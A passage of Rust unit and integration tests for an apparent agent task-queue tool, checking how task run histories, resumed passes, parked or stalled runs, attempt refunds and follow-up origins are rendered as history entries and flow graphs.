16880        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16881        assert_eq!(res.status, 404, "{}", res.body);
16882    }
16883
16884    #[tokio::test]
16885    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16886        let f = Fixture::start().await;
16887        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16888
16889        let deleted = f.delete(&format!("/api/talks/{id}")).await;
16890        assert_eq!(deleted.status, 204, "{}", deleted.body);
16891
16892        let after = f.get(&format!("/api/talks/{id}")).await;
16893        assert_eq!(after.status, 404, "{}", after.body);
16894
16895        let listed = f.get("/api/talks").await.json();
16896        assert!(
16897            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16898            "a deleted talk must not linger in the list: {listed}"
16899        );
16900    }
16901
16902    #[tokio::test]
16903    async fn talk_delete_on_an_unknown_id_is_404() {
16904        let f = Fixture::start().await;
16905        let res = f.delete("/api/talks/nonexistent-id").await;
16906        assert_eq!(res.status, 404, "{}", res.body);
16907    }
16908
16909    /// A task's page lists every run it ever had, in order, and says what kind
16910    /// of attempt each was - including a resume, which re-pushes the same run
16911    /// id, and a run whose record this build cannot read.
16912    #[tokio::test]
16913    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16914        let f = Fixture::start().await;
16915        let (a, b, gone) = (
16916            "20260902-140501-aaaa",
16917            "20260902-140502-bbbb",
16918            "20260902-140503-cccc",
16919        );
16920        write_run(&f.runs(), a, RunStatus::Stalled);
16921        let mut review = RunState::new(
16922            PathBuf::from("/repo/magi"),
16923            "main".to_owned(),
16924            "0123456789abcdef".to_owned(),
16925            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16926                .to_owned(),
16927            Config::default(),
16928        );
16929        review.id = b.to_owned();
16930        review.status = RunStatus::Merged;
16931        write_state(&f.runs(), &review);
16932
16933        let mut task = Task::new(
16934            "retry".to_owned(),
16935            "Do the thing".to_owned(),
16936            PathBuf::from("/repo/magi"),
16937            Source::Human,
16938        );
16939        task.start(a.to_owned());
16940        task.stall("quota");
16941        task.start(a.to_owned());
16942        task.start(b.to_owned());
16943        task.start(gone.to_owned());
16944        // This fixture models an older queue file with repeated run entries.
16945        task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16946        f.queue().put(&mut task).expect("file the task");
16947
16948        let res = f.get(&format!("/api/queue/{}", task.id)).await;
16949        assert_eq!(res.status, 200, "{}", res.body);
16950        let v = res.json();
16951        let h = v["history"].as_array().expect("history");
16952        assert_eq!(h.len(), 4, "{v}");
16953        assert_eq!(h[0]["kind"], "competition");
16954        assert_eq!(h[0]["status"], "stalled");
16955        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16956        assert_eq!(h[1]["kind"], "resume", "{v}");
16957        assert!(
16958            h[0]["outcome"]
16959                .as_str()
16960                .unwrap()
16961                .contains("unknown. Pass #2"),
16962            "an earlier pass of a resumed run must not claim the final outcome: {v}"
16963        );
16964        assert!(
16965            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16966            "{v}"
16967        );
16968        assert!(
16969            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16970            "an unrecorded cause must not be narrated as an operator park: {v}"
16971        );
16972        assert_eq!(h[2]["kind"], "review");
16973        assert!(
16974            h[2]["description"]
16975                .as_str()
16976                .unwrap()
16977                .contains("magi/aaaa/A")
16978        );
16979        assert_eq!(h[2]["status"], "merged");
16980        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16981        assert_eq!(v["runs_unreadable"], 1);
16982        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16983        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16984        assert_eq!(nodes[4]["note"], "unreadable");
16985        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16986        assert_eq!(v["instruction"], "Do the thing");
16987        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16988
16989        // The run's own page links back to the task.
16990        let run = f.get(&format!("/api/runs/{a}")).await.json();
16991        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16992
16993        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16994    }
16995
16996    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16997        let mut s = RunState::new(
16998            PathBuf::from("/repo/magi"),
16999            "main".to_owned(),
17000            "0123456789abcdef".to_owned(),
17001            "Do it".to_owned(),
17002            Config::default(),
17003        );
17004        s.status = status;
17005        edit(&mut s);
17006        s
17007    }
17008
17009    fn flow_task(runs: &[&str]) -> Task {
17010        let mut t = Task::new(
17011            "t".to_owned(),
17012            "Do it".to_owned(),
17013            PathBuf::from("/repo/magi"),
17014            Source::Human,
17015        );
17016        for r in runs {
17017            t.start((*r).to_owned());
17018        }
17019        // Synthetic flows without RunPass records model legacy queue data.
17020        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17021        t
17022    }
17023
17024    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
17025        let h = task_history(task, |id| {
17026            states
17027                .iter()
17028                .find(|(i, _)| *i == id)
17029                .and_then(|(_, s)| s.clone())
17030        });
17031        task_flow(task, &h, 5, None)
17032    }
17033
17034    #[test]
17035    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
17036        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
17037        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17038        let first = "2026-10-10T02:00:00Z".parse().unwrap();
17039        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
17040        let held = "2026-10-10T04:00:00Z".parse().unwrap();
17041        let run = flow_run(RunStatus::Implementing, |s| {
17042            s.created_at = created;
17043            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
17044            s.passes[0].started_at = first;
17045            s.passes[1].started_at = resumed;
17046        });
17047        let mut task = flow_task(&[RUN_X, RUN_X]);
17048        task.created_at = queued;
17049        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
17050        task.status = TaskStatus::Held;
17051        task.held_at = Some(held);
17052        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
17053        assert_eq!(
17054            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
17055            vec![Some(queued), Some(first), Some(resumed), Some(held)]
17056        );
17057        assert!(flow.nodes.iter().all(|n| n.time_expected));
17058        let json = serde_json::to_value(&flow).unwrap();
17059        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
17060        assert_eq!(json["nodes"][2]["time_expected"], true);
17061    }
17062
17063    #[test]
17064    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
17065        let created = "2026-10-10T01:00:00Z".parse().unwrap();
17066        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
17067        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
17068        // These timestamps are not the start of the current status.
17069        task.held_at = Some(created);
17070        task.blocked_at = Some(created);
17071        for status in [
17072            TaskStatus::Queued,
17073            TaskStatus::Running,
17074            TaskStatus::Blocked,
17075            TaskStatus::Done,
17076            TaskStatus::Failed,
17077            TaskStatus::Parked,
17078            TaskStatus::Held,
17079        ] {
17080            task.status = status;
17081            if status == TaskStatus::Held {
17082                task.held_at = None;
17083            }
17084            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
17085            assert_eq!(flow.nodes[1].started_at, Some(created));
17086            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
17087            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
17088            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
17089            let json = serde_json::to_value(&flow).unwrap();
17090            assert!(json["nodes"][3]["started_at"].is_null());
17091            assert_eq!(json["nodes"][3]["time_expected"], true);
17092        }
17093    }
17094
17095    #[test]
17096    fn flow_context_links_do_not_expect_start_times() {
17097        let mut task = flow_task(&[]);
17098        task.source = Source::Agent {
17099            run: "chat-id".to_owned(),
17100            node: "chat".to_owned(),
17101        };
17102        let origin = followup_origin(&fu(None), |_| None, |_| None);
17103        let flow = task_flow(&task, &[], 5, Some(&origin));
17104        for node in &flow.nodes[..2] {
17105            assert!(!node.time_expected);
17106            assert_eq!(node.started_at, None);
17107        }
17108        assert!(flow.nodes[2].time_expected);
17109    }
17110
17111    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
17112        crate::queue::FollowUp {
17113            run: "20260901-000000-aaaa".to_owned(),
17114            origin_task: origin_task.map(str::to_owned),
17115            pr: "https://example.com/o/r/pull/1".to_owned(),
17116            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
17117                .map(str::to_owned)
17118                .to_vec(),
17119            generation: 1,
17120        }
17121    }
17122
17123    fn parent_task() -> Task {
17124        let mut p = flow_task(&[]);
17125        p.title = "Parent title".to_owned();
17126        p.status = TaskStatus::Done;
17127        p
17128    }
17129
17130    #[test]
17131    fn flow_opens_with_the_parent_task_of_a_followup() {
17132        let p = parent_task();
17133        let pid = p.id.clone();
17134        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
17135        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17136        let n = &f.nodes[0];
17137        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
17138        assert_eq!(
17139            n.label,
17140            format!("Follow-up of {}", crate::queue::short(&pid))
17141        );
17142        assert_eq!(n.detail.as_deref(), Some("Parent title"));
17143        assert_eq!(n.status, Some("done"));
17144        assert_eq!(n.status_of, "task");
17145        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
17146        assert_eq!(f.nodes[1].key, "start");
17147        assert_eq!(f.edges[0].from, "origin");
17148        assert_eq!(
17149            f.edges[0].label,
17150            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
17151        );
17152    }
17153
17154    #[test]
17155    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17156        let o = followup_origin(
17157            &fu(Some("gone")),
17158            |_| None,
17159            |_| {
17160                Some(RunState::new(
17161                    std::path::PathBuf::from("."),
17162                    "main".to_owned(),
17163                    "0".to_owned(),
17164                    "t".to_owned(),
17165                    crate::config::Config::default(),
17166                ))
17167            },
17168        );
17169        assert!(o.parent.is_none());
17170        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17171        let n = &f.nodes[0];
17172        assert_eq!(n.status_of, "run");
17173        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17174        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17175    }
17176
17177    #[test]
17178    fn flow_followup_with_nothing_readable_has_no_link() {
17179        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17180        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17181        let n = &f.nodes[0];
17182        assert_eq!(n.href, None);
17183        assert_eq!(n.note, Some("unreadable"));
17184        assert!(!n.readable);
17185    }
17186
17187    #[test]
17188    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17189        let o = followup_origin(&fu(None), |_| None, |_| None);
17190        let mut t = flow_task(&[]);
17191        t.origin_chat = Some("c1".to_owned());
17192        let f = task_flow(&t, &[], 5, Some(&o));
17193        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17194        t.source = Source::Agent {
17195            run: "c1".to_owned(),
17196            node: crate::queue::CHAT_NODE.to_owned(),
17197        };
17198        let f = task_flow(&t, &[], 5, Some(&o));
17199        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17200        assert_eq!(
17201            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17202            ("chat", "origin")
17203        );
17204    }
17205
17206    #[test]
17207    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17208        let mut p = parent_task();
17209        p.id = "a b/c".to_owned();
17210        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17211        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17212    }
17213
17214    #[test]
17215    fn flow_opens_with_the_chat_that_queued_the_task() {
17216        let mut t = flow_task(&[]);
17217        t.source = Source::Agent {
17218            run: "a b/c".to_owned(),
17219            node: crate::queue::CHAT_NODE.to_owned(),
17220        };
17221        let f = flow_for(&t, &[]);
17222        assert_eq!(f.nodes[0].key, "chat");
17223        assert_eq!(f.nodes[0].kind, "chat");
17224        assert_eq!(
17225            f.nodes[0].label,
17226            format!("Chat {}", crate::queue::short("a b/c"))
17227        );
17228        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17229        assert_eq!(f.nodes[1].key, "start");
17230        assert_eq!(
17231            f.edges[0],
17232            FlowEdge {
17233                from: "chat".to_owned(),
17234                to: "start".to_owned(),
17235                label: "queued from chat".to_owned(),
17236                attempt: AttemptCost::None,
17237            }
17238        );
17239    }
17240
17241    #[test]
17242    fn flow_has_no_chat_box_for_other_sources() {
17243        for source in [
17244            Source::Human,
17245            Source::Issue {
17246                number: 3,
17247                repo: "o/r".to_owned(),
17248            },
17249            Source::Agent {
17250                run: "20260904-014455-ab12".to_owned(),
17251                node: "implement".to_owned(),
17252            },
17253        ] {
17254            let mut t = flow_task(&[]);
17255            t.source = source;
17256            let f = flow_for(&t, &[]);
17257            assert_eq!(f.nodes[0].key, "start");
17258            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17259            assert!(f.edges.iter().all(|e| e.from != "chat"));
17260        }
17261    }
17262
17263    const FA: &str = "20260902-140501-aaaa";
17264    const FB: &str = "20260902-140502-bbbb";
17265
17266    #[test]
17267    fn flow_follows_blocked_retry_merged_to_done() {
17268        let mut t = flow_task(&[FA, FB]);
17269        t.status = TaskStatus::Done;
17270        let f = flow_for(
17271            &t,
17272            &[
17273                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17274                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17275            ],
17276        );
17277        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17278        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17279        assert_eq!(f.edges.len(), 3);
17280        assert_eq!(f.edges[0].label, "claimed");
17281        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17282        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17283        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17284        assert_eq!(
17285            f.nodes[2].href.as_deref(),
17286            Some("#/runs/20260902-140502-bbbb")
17287        );
17288        assert!(f.nodes[2].decided);
17289    }
17290
17291    #[test]
17292    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17293        let quota = || {
17294            flow_run(RunStatus::Stalled, |s| {
17295                s.quota.push(crate::run::QuotaLoss {
17296                    cause: crate::agent::QuotaCause::UsageLimit,
17297                    agent: String::new(),
17298                    seat: "judge-1".to_owned(),
17299                    node: "judge".to_owned(),
17300                    at: Timestamp::now(),
17301                    reset: None,
17302                })
17303            })
17304        };
17305        let mut t = flow_task(&[FA, FA]);
17306        t.status = TaskStatus::Queued;
17307        let f = flow_for(&t, &[(FA, Some(quota()))]);
17308        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17309        assert_eq!(f.nodes[1].note, Some("interrupted"));
17310        assert_eq!(
17311            f.nodes[1].status, None,
17312            "no outcome copied onto an earlier pass"
17313        );
17314        assert_eq!(
17315            f.edges[1].attempt,
17316            AttemptCost::Unknown,
17317            "a resume does not prove the earlier pass was refunded"
17318        );
17319        assert!(f.edges[1].label.contains("resume the same run"));
17320        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17321        assert_eq!(
17322            f.edges[2].label,
17323            "stalled after a resume, refund unknown \u{2192} queued"
17324        );
17325        assert!(!f.nodes[2].decided, "a stall is not a decision");
17326        assert_eq!(f.nodes[2].note, Some("no verdict"));
17327    }
17328
17329    #[test]
17330    fn flow_single_pass_quota_stall_is_refunded() {
17331        let t = flow_task(&[FA]);
17332        let f = flow_for(
17333            &t,
17334            &[(
17335                FA,
17336                Some(flow_run(RunStatus::Stalled, |s| {
17337                    s.quota.push(crate::run::QuotaLoss {
17338                        cause: crate::agent::QuotaCause::UsageLimit,
17339                        agent: String::new(),
17340                        seat: "judge-1".to_owned(),
17341                        node: "judge".to_owned(),
17342                        at: Timestamp::now(),
17343                        reset: None,
17344                    })
17345                })),
17346            )],
17347        );
17348        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17349    }
17350
17351    #[test]
17352    fn flow_parked_refunds_and_stall_without_quota_spends() {
17353        let mut t = flow_task(&[FA]);
17354        t.status = TaskStatus::Queued;
17355        let f = flow_for(
17356            &t,
17357            &[(
17358                FA,
17359                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17360            )],
17361        );
17362        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17363        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17364        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17365        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17366        assert!(!f.nodes[1].decided);
17367    }
17368
17369    #[test]
17370    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17371        let t = flow_task(&[FA, FB]);
17372        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17373        assert_eq!(f.nodes[1].note, Some("unreadable"));
17374        assert!(!f.nodes[1].readable);
17375        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17376        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17377    }
17378
17379    #[test]
17380    fn flow_names_the_branch_of_a_review_only_run() {
17381        let t = flow_task(&[FA]);
17382        let f = flow_for(
17383            &t,
17384            &[(
17385                FA,
17386                Some(flow_run(RunStatus::Merged, |s| {
17387                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17388                })),
17389            )],
17390        );
17391        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17392        assert_eq!(
17393            f.nodes[1].detail.as_deref(),
17394            Some("review-only run of branch magi/x/A")
17395        );
17396    }
17397
17398    #[test]
17399    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17400        let mut t = flow_task(&[FA]);
17401        t.status = TaskStatus::Held;
17402        let pr = crate::run::PrRecord {
17403            url: "https://example.test/pr/1".to_owned(),
17404            number: 1,
17405            state: "open".to_owned(),
17406            checks: "green".to_owned(),
17407            round: 0,
17408            rounds: 3,
17409            red_at_merge: Vec::new(),
17410        };
17411        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17412        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17413        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17414        t.status = TaskStatus::Done;
17415        let f = flow_for(&t, &[(FA, Some(blocked))]);
17416        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17417    }
17418
17419    #[test]
17420    fn flow_with_no_runs_goes_from_queued_to_queued() {
17421        let t = flow_task(&[]);
17422        let f = flow_for(&t, &[]);
17423        assert_eq!(f.nodes.len(), 2);
17424        assert_eq!(f.edges.len(), 1);
17425        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17426        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17427    }
17428
17429    /// A run parked mid-flight keeps a non-terminal status; the page must
17430    /// still say why it stopped and that the attempt came back.
17431    #[test]
17432    fn a_parked_non_terminal_run_is_explained_as_parked() {
17433        let mut s = RunState::new(
17434            PathBuf::from("/repo/magi"),
17435            "main".to_owned(),
17436            "0123456789abcdef".to_owned(),
17437            "Do it".to_owned(),
17438            Config::default(),
17439        );
17440        s.status = RunStatus::Implementing;
17441        s.parked = true;
17442        let task = Task::new(
17443            "t".to_owned(),
17444            "Do it".to_owned(),
17445            PathBuf::from("/repo/magi"),
17446            Source::Human,
17447        );
17448        let v = task_run_view(
17449            "20260902-140501-aaaa",
17450            Some(&s),
17451            RunSlot {
17452                n: 1,
17453                resumed: false,
17454                resumed_later: None,
17455                prior: None,
17456                last: true,
17457                ..RunSlot::default()
17458            },
17459            &task,
17460        );
17461        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17462    }
17463
17464    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17465        let mut s = flow_run(RunStatus::Implementing, edit);
17466        s.parked = false;
17467        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17468        task_run_view(
17469            "20260902-140501-aaaa",
17470            Some(&s),
17471            RunSlot {
17472                n: 1,
17473                resumed: false,
17474                resumed_later: Some(2),
17475                prior: None,
17476                last: false,
17477                ..RunSlot::default()
17478            },
17479            &task,
17480        )
17481    }
17482
17483    #[test]
17484    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17485        let v = earlier_pass_view(|_| {});
17486        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17487        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17488        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17489        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17490        assert_eq!(v.exit, RunExit::Interrupted);
17491        assert_eq!(v.attempt, AttemptCost::Unknown);
17492    }
17493
17494    #[test]
17495    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17496        let v = earlier_pass_view(|s| {
17497            s.quota.push(crate::run::QuotaLoss {
17498                cause: crate::agent::QuotaCause::UsageLimit,
17499                agent: String::new(),
17500                seat: "judge-1".to_owned(),
17501                node: "judge".to_owned(),
17502                at: Timestamp::now(),
17503                reset: None,
17504            });
17505        });
17506        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17507        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17508        assert_eq!(v.attempt, AttemptCost::Unknown);
17509    }
17510
17511    #[test]
17512    fn the_current_pass_states_its_recorded_cause_and_cost() {
17513        let slot = || RunSlot {
17514            n: 1,
17515            resumed: false,
17516            resumed_later: None,
17517            prior: None,
17518            last: true,
17519            ..RunSlot::default()
17520        };
17521        let task = flow_task(&["20260902-140501-aaaa"]);
17522        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17523        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17524        assert_eq!(
17525            (v.exit, v.attempt),
17526            (RunExit::Parked, AttemptCost::Refunded)
17527        );
17528        let spent = flow_run(RunStatus::Blocked, |_| {});
17529        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17530        assert_eq!(v.attempt, AttemptCost::Spent);
17531        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17532    }
17533
17534    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17535        crate::run::RunPass {
17536            index,
17537            started_at: Timestamp::now(),
17538            resumed: index > 0,
17539            ended_at: end.as_ref().map(|_| Timestamp::now()),
17540            end,
17541            task_entry: true,
17542        }
17543    }
17544
17545    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17546        Some(crate::run::PassEnd::Parked { cause })
17547    }
17548
17549    fn upgrade_cause() -> crate::run::ParkCause {
17550        crate::run::ParkCause::Upgrade {
17551            from: "0.121.0".to_owned(),
17552            to: Some("0.121.1".to_owned()),
17553        }
17554    }
17555
17556    fn settled_pass(
17557        run: &str,
17558        index: usize,
17559        cost: crate::queue::PassCost,
17560    ) -> crate::queue::TaskPass {
17561        crate::queue::TaskPass {
17562            run: run.to_owned(),
17563            pass_index: index,
17564            started_at: None,
17565            cost,
17566            attempts_after: 1,
17567            settled_at: Timestamp::now(),
17568            parked: None,
17569        }
17570    }
17571
17572    const RUN_X: &str = "20261011-223708-4334";
17573
17574    #[test]
17575    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17576        use crate::queue::PassCost;
17577        let run = flow_run(RunStatus::Implementing, |s| {
17578            s.passes = vec![
17579                recorded_pass(0, parked(upgrade_cause())),
17580                recorded_pass(1, None),
17581            ];
17582        });
17583        let mut task = flow_task(&[RUN_X, RUN_X]);
17584        task.attempts = 1;
17585        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17586        let h = task_history(&task, |_| Some(run.clone()));
17587        assert_eq!(h.len(), 2);
17588        assert_eq!(h[0].kind, "competition");
17589        assert_eq!(h[1].kind, "resume");
17590        assert_eq!(
17591            (h[0].exit, h[0].attempt),
17592            (RunExit::Parked, AttemptCost::Refunded)
17593        );
17594        assert!(
17595            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17596            "{}",
17597            h[0].outcome
17598        );
17599        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17600        assert!(
17601            h[0].outcome.contains("pass #2 resumed the same run"),
17602            "{}",
17603            h[0].outcome
17604        );
17605        assert!(
17606            h[0].outcome.contains("pass 1 of 2 over run"),
17607            "{}",
17608            h[0].outcome
17609        );
17610        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17611        assert_eq!(
17612            h[0].exit_label,
17613            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17614        );
17615        let f = task_flow(&task, &h, 2, None);
17616        // Two passes of one run, one of two attempts consumed.
17617        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17618        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17619        assert!(
17620            f.edges[1].label.contains("upgrade 0.121.0"),
17621            "{}",
17622            f.edges[1].label
17623        );
17624        assert!(
17625            f.edges[1].label.contains("resume the same run"),
17626            "{}",
17627            f.edges[1].label
17628        );
17629        assert_eq!(f.nodes[1].note, Some("parked"));
17630    }
17631
17632    #[test]
17633    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17634        let mut a = flow_run(RunStatus::Implementing, |s| {
17635            s.passes = vec![
17636                recorded_pass(0, parked(upgrade_cause())),
17637                recorded_pass(1, None),
17638            ];
17639        });
17640        let mut b = flow_run(RunStatus::Failed, |s| {
17641            s.passes = vec![recorded_pass(0, None)];
17642        });
17643        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17644        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17645        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17646        let mut task = flow_task(&[]);
17647        task.start("a".into());
17648        task.start("b".into());
17649        task.start("a".into());
17650        assert_eq!(task.runs, ["b", "a"]);
17651        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17652        let h = task_history(&task, |id| {
17653            Some(if id == "a" { a.clone() } else { b.clone() })
17654        });
17655        assert_eq!(
17656            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17657            ["a", "b", "a"]
17658        );
17659        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17660        assert!(h[0].outcome.contains("upgrade"));
17661        assert_eq!(h[2].kind, "resume");
17662        assert!(h[2].pass.is_some());
17663        // The old repeated-id format must show the same recorded passes.
17664        task.runs = vec!["a".into(), "b".into(), "a".into()];
17665        let old = task_history(&task, |id| {
17666            Some(if id == "a" { a.clone() } else { b.clone() })
17667        });
17668        assert_eq!(
17669            old.iter()
17670                .map(|v| (&v.id, &v.kind, v.attempt))
17671                .collect::<Vec<_>>(),
17672            h.iter()
17673                .map(|v| (&v.id, &v.kind, v.attempt))
17674                .collect::<Vec<_>>()
17675        );
17676    }
17677
17678    #[test]
17679    fn an_upgrade_whose_target_was_not_known_says_so() {
17680        let run = flow_run(RunStatus::Implementing, |s| {
17681            s.passes = vec![
17682                recorded_pass(
17683                    0,
17684                    parked(crate::run::ParkCause::Upgrade {
17685                        from: "0.121.0".to_owned(),
17686                        to: None,
17687                    }),
17688                ),
17689                recorded_pass(1, None),
17690            ];
17691        });
17692        let task = flow_task(&[RUN_X, RUN_X]);
17693        let h = task_history(&task, |_| Some(run.clone()));
17694        assert!(
17695            h[0].outcome.contains("upgrade from 0.121.0"),
17696            "{}",
17697            h[0].outcome
17698        );
17699        // No settle record: the refund is not claimed.
17700        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17701    }
17702
17703    #[test]
17704    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17705        use crate::queue::PassCost;
17706        use crate::run::ParkCause;
17707        let run = flow_run(RunStatus::Implementing, |s| {
17708            s.passes = vec![
17709                recorded_pass(0, parked(upgrade_cause())),
17710                recorded_pass(
17711                    1,
17712                    parked(ParkCause::Interrupt {
17713                        reason: "task a1b2 asked to run first".to_owned(),
17714                    }),
17715                ),
17716                recorded_pass(2, parked(ParkCause::Operator)),
17717                recorded_pass(3, None),
17718            ];
17719        });
17720        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17721        task.attempts = 1;
17722        task.passes = (0..3)
17723            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17724            .collect();
17725        let h = task_history(&task, |_| Some(run.clone()));
17726        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17727        assert!(
17728            h[1].outcome.contains("task a1b2 asked to run first"),
17729            "{}",
17730            h[1].outcome
17731        );
17732        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17733        assert!(
17734            h[2].outcome.contains("operator asked the loop to park"),
17735            "{}",
17736            h[2].outcome
17737        );
17738        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17739        let f = task_flow(&task, &h, 2, None);
17740        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17741    }
17742
17743    #[test]
17744    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
